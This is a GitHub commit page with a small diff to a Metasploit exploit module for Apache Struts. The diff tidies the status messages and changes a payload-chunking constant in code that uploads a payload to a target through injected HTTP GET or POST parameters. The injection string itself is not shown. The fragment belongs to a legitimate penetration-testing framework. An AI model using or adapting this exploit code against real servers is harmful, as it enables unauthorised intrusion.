Skip to content

Commit 51879ab

Browse files
committed
removed unnecessary lines
1 parent abb0ab1 commit 51879ab

File tree

1 file changed

+4
-5
lines changed

1 file changed

+4
-5
lines changed

modules/exploits/multi/http/struts_include_params.rb

Lines changed: 4 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -82,15 +82,13 @@ def execute_command(cmd, opts = {})
8282

8383
case datastore['HTTPMETHOD']
8484
when 'POST'
85-
@method_specific_message = "Performing HTTP POST requests to upload payload"
8685
resp = send_request_cgi({
8786
'uri' => uri,
8887
'vars_post' => { datastore['PARAMETER'] => inject },
8988
'version' => '1.1',
9089
'method' => 'POST'
9190
})
9291
when 'GET'
93-
@method_specific_message = "Performing HTTP GET requests to upload payload"
9492
resp = send_request_cgi({
9593
'uri' => uri,
9694
'vars_get' => { datastore['PARAMETER'] => inject },
@@ -101,7 +99,7 @@ def execute_command(cmd, opts = {})
10199
# Display a nice "progress bar" instead of message spam
102100
case @notify_flag
103101
when 0
104-
print_status(@method_specific_message)
102+
print_status("Performing HTTP #{datastore['HTTPMETHOD']} requests to upload payload")
105103
@notify_flag = 1
106104
when 1
107105
print(".") # Progress dots
@@ -143,8 +141,9 @@ def exploit
143141

144142
print_status("Preparing payload...")
145143
#Now with all the arch specific stuff set, perform the upload.
146-
#109 = length of cmd string from "java_upload_part" method plus the max length of the boolean value append.
147-
sub_from_chunk = 109 + @payload_exe.length + normalize_uri(target_uri.path).length + datastore['PARAMETER'].length
144+
#161 = length of cmd string from "java_upload_part" method plus the max length of the boolean value append and the length of the inject string.
145+
#Need to calculate 161.
146+
sub_from_chunk = 161 + @payload_exe.length + normalize_uri(target_uri.path).length + datastore['PARAMETER'].length
148147
case datastore['HTTPMETHOD']
149148
when 'GET'
150149
chunk_length = 2048 - sub_from_chunk

0 commit comments

Comments
 (0)